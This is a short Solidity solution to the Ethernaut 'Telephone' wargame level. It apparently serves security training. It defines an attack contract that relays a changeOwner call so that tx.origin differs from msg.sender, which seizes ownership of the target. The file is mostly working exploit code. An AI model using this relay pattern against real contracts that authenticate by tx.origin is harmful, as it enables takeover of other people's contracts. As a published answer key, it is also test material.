Solution for Ethernaut Level 4 - Telephone. For Remix IDE

TelephoneHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface ITelephone {
    function changeOwner(address) external;
}

contract TelephoneHack {
    ITelephone private telephone;
    
    // Pass the instance address to the constructor
    constructor(address _telephone) {
        telephone = ITelephone(_telephone);
    }
    function changeOwner(address newOwner) external {
        telephone.changeOwner(newOwner);
    }
}